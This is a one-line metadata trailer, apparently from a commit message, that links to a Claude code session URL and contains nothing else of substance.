Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
